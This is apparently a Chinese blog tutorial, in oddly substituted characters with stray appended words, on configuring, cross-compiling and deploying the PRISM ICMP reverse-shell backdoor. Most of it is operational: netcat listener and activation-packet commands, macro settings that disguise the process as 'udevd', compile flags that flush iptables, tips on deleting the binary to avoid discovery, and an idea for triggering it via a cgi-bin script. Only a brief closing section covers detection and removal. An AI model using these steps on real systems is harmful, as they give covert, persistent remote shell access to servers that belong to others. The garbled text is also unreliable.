搜索的時候無心中看見的這款基於ping的ICMP後門。因而到做者的github上看看,竟然是陰文的,爲了過級,只能強忍着看了,學生狗傷不起。還比如較簡單易懂,正如簡介說的同樣:「PRISM is an user space stealth reverse shell backdoor, written in pure C.」python
項目地址:https://github.com/andreafabrizi/prism linux
PRISM只有兩個主文件,配置簡單,能在Linux、Solaris、AIX、BSD/Mac、Android等多個系統上運行,支持兩種工做模式:ICMP 和 STATIC 模式。git
ICMP模式github
使用這種模式的後門將會在後臺等待特定的包含主機/端口鏈接信息的ICMP數據包,經過私有密鑰能夠阻止第三方訪問。後門進程接受ping包激活(總不會連ping包都不讓過了靶>_<)shell
首先,在攻擊者的機器上運行netcat來等待後門進入的鏈接:服務器
~$ nc -l -p 9999
再使用sendPacket.py腳本(或其餘數據包生成器,如nemesis-1.4)發送激活包到後門主機,以使後門主機反彈鏈接到主控機的指定端口:工具
./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999 //10.0.0.5 遠程主機(靶機)的IP地址 //linger 鏈接密碼 //10.0.0.10 主控機IP地址 //9999 主控機鏈接端口
STATIC模式測試
使用這種模式,後門主機將會主動嘗試鏈接到指定端口的的IP地址上,因此只要在指定IP上監聽指定端口等待鏈接就能夠了。可是,缺點很明顯,很任意暴露攻擊者的IP地址,並且使用不夠靈活。spa
$ nc -l -p [PORT]
固然,做爲一款迷你級的後門木馬。它仍是有不少優勢的:blog
兩種工做模式、運行時進程重命名、不會監聽端口、自動清除iptables規則表、採用C語言編寫(代碼僅有200來行),因此不須要任何庫支持。
配置prism後門
編輯prism.c文件,修改宏定義部分:
40 #ifdef STATIC 41 # define REVERSE_HOST "10.0.0.1" //鏈接到主控機的IP地址 42 # define REVERSE_PORT 19832 //鏈接到主控機的端口號 43 # define RESPAWN_DELAY 15 //後門機嘗試鏈接的空閒時間間隔 44 #else 45 # define ICMP_PACKET_SIZE 1024 //ICMP數據包的大小 46 # define ICMP_KEY "linger" //鏈接的密碼 47 #endif 48 49 #define VERSION "0.5" //版本信息 50 #define MOTD "PRISM v"VERSION" started\n\n# " //後門機鏈接時顯示的消息 51 #define SHELL "/bin/sh" //shell執行的位置 52 #define PROCESS_NAME "udevd" //建立的進程名稱
交叉編譯prism後門
gcc <..OPTIONS..> -Wall -s -o prism prism.c
可用的參數<OPTION>選項:
-DDETACH //後臺運行
-DSTATIC //只用STATIC模式(默認是ICMP模式)
-DNORENAME //再也不重命名進程名
-DIPTABLES //清除全部iptables規則表項
例如:
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
不一樣平臺下的交叉編譯須要相關庫文件:
Android平臺:
apt-get install gcc-arm-linux-gnueabi arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64bit:
apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
編譯好以後,能夠查看後門的配置信息:
運行prism後門測試
將該後門上傳到遠程後門主機,再使用sendPacket.py腳本(需以root運行)在本地發送激活包到後門主機,本地監聽相關端口等待後門主機反彈鏈接:(這裏要注意,最好時將prism.c文件上傳到後門主機再進行編譯,這樣才更容易成功。)
這對於採用了不少限制(比喻限制了SSH)遠程服務器來講,使用該後門是不錯的。並且prism服務端運行後會在後臺一直運行,除非服務器重啓。因此,後門開啓後刪除自身文件將不容易被發現。
簡單講解prism後門的清除
首先,上面說了,該後門重啓會失效,除非寫在開機啓動項裏。因此攻擊者想要繼續留住後門,確定會這樣作,故首先要檢查開機啓動項裏(好比/etc/rc.local,這但是root權限!)是否有未知啓動腳本。聯想起前段時間的BASH漏洞,有一個不錯的思路是在cgi-bin裏的某個腳本里做改變,當訪問這個腳本時就能夠觸發這個prism後門,這樣就能夠不用以前的python腳原本觸發了。厄,貌似這就講到攻擊了-_- 無論怎樣,先得有點見識靶。搞很差還真有人會這樣用呢。
其次,雖然這個後門能夠改變後門進程名,可是仍是有進程存在,因此要查出這個未知進程。能夠用工具查找,找到kill掉就OK了。
最後,要設置好嚴格的iptables規則。該後門能夠按攻擊者的設置嘗試清除iptables規則,因此要按期查看iptables規則是否改變。
還有,該後門是使用ICMP協議的PING包激活的,SO,若是還真怕PRISM的會,那就過濾掉ICMP包靶,走着瞧靶v_v
可是,站在攻擊者的角度來看,想要防範prism後門仍是比較難的。正如其做者所描述的那樣:「No listening ports」,啥意思?就是想用啥端口鏈接均可以,額測試過了: ) 這麼說來,貌似上上一條有失效了-_-
因此,綜上所屬,最好的辦法就是作好預防工做,防止被入侵。爲啥?由於我是傻逼{-_-}